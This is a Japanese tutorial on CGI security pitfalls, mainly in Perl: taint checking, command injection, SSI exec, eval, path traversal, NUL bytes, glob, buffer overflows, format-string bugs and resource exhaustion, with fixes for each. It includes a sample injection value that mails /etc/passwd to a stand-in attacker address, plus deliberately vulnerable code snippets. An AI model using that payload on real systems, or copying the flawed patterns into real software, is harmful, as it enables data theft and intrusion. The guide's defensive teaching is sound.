注意: この文書は私の拙い知識と経験を元に書かれているので、 全てを網羅しているわけでも無いし、全てが正しいとは限らないので注意。
CGIプログラムは外部からの入力を受け取り、 それを元に動作を切り替えることが出来る。 これによってユーザの入力を処理して結果を返すという動作が可能になるが、 その入力をそのまま利用してしまうことによってセキュリティを低下させることもある。
ここではCGIプログラムを作成する際のセキュリティ上の注意点を解説する。
なお、FORMからの入力はURIアンエスケープされた後に
%CGI
へ代入されていることを仮定する。
外部から与えられた素のままのデータは "汚染された (tainted)" データと呼ばれる。 そのようなデータを利用する場合は、 必ず汚染を取り除いて使用する必要がある。
汚染されたデータを使わないようにするためには
プログラマが注意する必要があるが、
-T オプションで
Perl 自体の汚染チェックを有効にすることである程度防ぐことができる。
ただし、
$CGI{str} =~ /(.*)/; $CGI{str} = $1;
とした場合でも "汚染を取り除いた" と見なされるため エラーが出ない場合でも "完全に汚染が取り除かれた" わけではないことに注意しなければならない。
perldoc perlsec も参照。
汚染されたデータを利用してしまう典型的な例として、
open GREP, "/usr/bin/grep $CGI{str} /path/to/data/file |";
のようなコーディングが挙げられる。
一見、これは問題ないように見えるが、
$CGI{str} = '; mail cracker@example.com < /etc/passwd;';
となる入力が与えられた場合を考えてみれば危険性が理解できるだろう。
この場合は cracker@example.com
宛にメールでパスワードファイルを送付することになる。
このような問題を避けるため、 データは必ず汚染を取り除く必要がある。 たとえば、英数字のみを検索させれば十分な場合は、
$CGI{str} =~ tr/A-Za-z0-9//dc;
として不要な文字を削除すれば良い。
また、以下のように引数が2個以上の exec
と組み合わせるとメタキャラクタの解釈が行われない。
open GREP, "-|" or exec "/usr/bin/grep", "-e", $CGI{str}, "/path/to/data/file" or die;
概念図
+-----------------------------+ | parent process | | +-> <GREP> | +--+---------------|----------+ | fork | | | STDOUT | +----+----------+ +--------> | child process | +---------------+
ここではファイル名として -|
が与えられているために暗黙のうちに
fork
が行われて、子プロセスの標準出力は親プロセスのファイルハンドル
GREP
に連結される。
ユーザ入力がそのまま書き込まれるHTMLファイルが
SSI可能になっている場合、たとえば
<!--#exec cmd="..."-->
という入力で任意のコマンドが実行可能になるので十分な注意が必要である。
このような危険性を回避するためCGIは許可するが、
外部プログラム実行を伴うSSIは許可しないサイトも多い。
(include などは実行可能になっている場合もある。)
外部プログラムを実行するものの他、
eval
による評価も汚染が問題になるので注意しなければならない。
入力データがフォームの形態に依存することを仮定するコードも危険である。 たとえば、
<SELECT NAME="op"> <OPTION VALUE="<">より小さい <OPTION VALUE="==">等しい <OPTION VALUE=">">より大きい </SELECT>
というフォームから入力されたとき、
$CGI{op} に
"<",
"==",
">"
以外が入らないという仮定の元、
if(eval "$foo $CGI{op} $bar") { ... }
というコードを書くことは非常に危険である。
Perl でファイル名を指定する多くの場合は、
"\0" (NUL)
までをファイル名として認識する。
したがって、以下のコーディングも任意のファイル名を指定可能となる:
open FILE, "data/$CGI{name}.dat"
他に注意しなければならないのは、一見外部プログラムに渡すようには見えない
<pattern>,
glob
である。
これらはファイル名を展開するために csh
を呼び出すため、
@files = glob "/sakura/moe/$CGI{pat}";
というコードは任意のコマンドを実行される余地がある。
外部から与えられた入力をファイル名の一部として扱う場合、
".." にも注意しなければならない。
たとえば、
open DAT, "data/$CGI{id}.dat";
というコードによって任意のファイルを読込むことが可能になる。
スタック上のリターンアドレスを書き換える攻撃として バッファオーバーフロー攻撃とフォーマットバグ攻撃がある。 これらはデーモンプロセスやsetuidされたプログラムが標的となることが多いが、 CGIプログラムでも同様の問題を抱えている。 この項目はネイティブのコードが実行されるような言語で CGIプログラムを記述する場合のみに当てはまる。 Perl などのスクリプト系言語で記述する場合には飛ばしてもかまわない。
ここではこれらの2種類の攻撃について概要を解説する。
例にはC言語を使用するが、ネイティブなコードが実行されるような言語では 同様に注意が必要である。
C言語で以下のような関数を記述した場合を考える。
void moe(char *char_name) { char name[1024]; : strcpy(name, char_name); : }
このとき、呼び出し前に
char_name
の長さをチェックしていない場合はname
の領域を越えてスタックを上書きしてしまう可能性がある。
(自動変数が常にスタック上に取られるわけではないが、
多くの実装ではそのような実装である。)
| : | ↑スタックの成長方向 +------------------+ | 自動変数領域 | | : | +------------------+ | <return address> | +------------------+ | : | ↓メモリ上位
多くの場合、自動変数領域を越えて <return address> 部までデータを書き込んでしまった場合、 Segmentation fault としてプログラムが停止することがほとんどである。 しかし、<return address> に自動変数領域を指すような値が上書きされるように入力を与えた場合、 自動変数領域、すなわち外部から与えられたデータを機械語として 実行することが可能になる。
このように、C言語で文字列処理を行う場合には細心の注意が必要である。
フォーマットバグとは、printf
の format 部にユーザ入力を与えることでスタックを上書きし、
バッファオーバーランの場合と同様に任意のコードを実行が可能になるバグである。
以下のコードを実行した場合を考える:
printf("moe%n", &i);
このコードを実行すると変数 i に 3
が代入される。
この 3 という数字は %n
の直前までに出力した文字のバイト数である。
通常、関数に変数を受け渡す場合にはスタックを利用するため、
%n の直前までに出力する文字数を調整することで
リターンアドレスを任意に変更することが出来る。
これは外部から与えられた任意の機械語コードが実行できることを意味する。
外部から与えられるデータをそのまま扱うことで、 無限ループを引き起こす・大量の資源 (CPU・メモリ) を消費するなどの問題がある。 たとえば、
for($i = 0; $i < $CGI{end}; $i++){ ... }$moe[$CGI{end}] = "sakura";
というコードはそのような攻撃に対する脆弱性がある。 前者は巨大な数字の入力に対してCPUを消費することになる。 また、後者は巨大な配列を作るため、メモリを消費することになる。
これらの攻撃に対しての耐性を付けるためには、 様々な入力を想定して不正な入力を弾くような処理を付け加える必要がある。
サーバの種類や設定に依存するが、 CGIプログラムが www や nobody として実行されるような設定は未だに一般的である。 したがって、CGI プログラムがデータファイルを取り扱う場合、 システムの設定によってはそのパーミッションを 666 (world writable) などにしておく必要がある。 したがって、これらのファイルは他のユーザに読み書きされる可能性があるので、 セキュリティ上好ましくない。
また、実効ユーザが nobody であるということは、 nobody がファイルを所有する可能性がある。 nobody ユーザは一切の権限を持つべきではないので、 これは好ましいとは言えない。 (たとえば NFS を利用する場合、 root やマッピングに失敗したユーザの権限は nobody:nogroup となる。) 最低限、www:www のように別のユーザを作成するべきである。
これらの問題点は、 Apache を利用した場合は SuEXEC を利用してユーザ権限で CGI/SSIプログラムを実行することによって回避することができる。 ただし、ユーザ権限で実行されるため注意が必要である。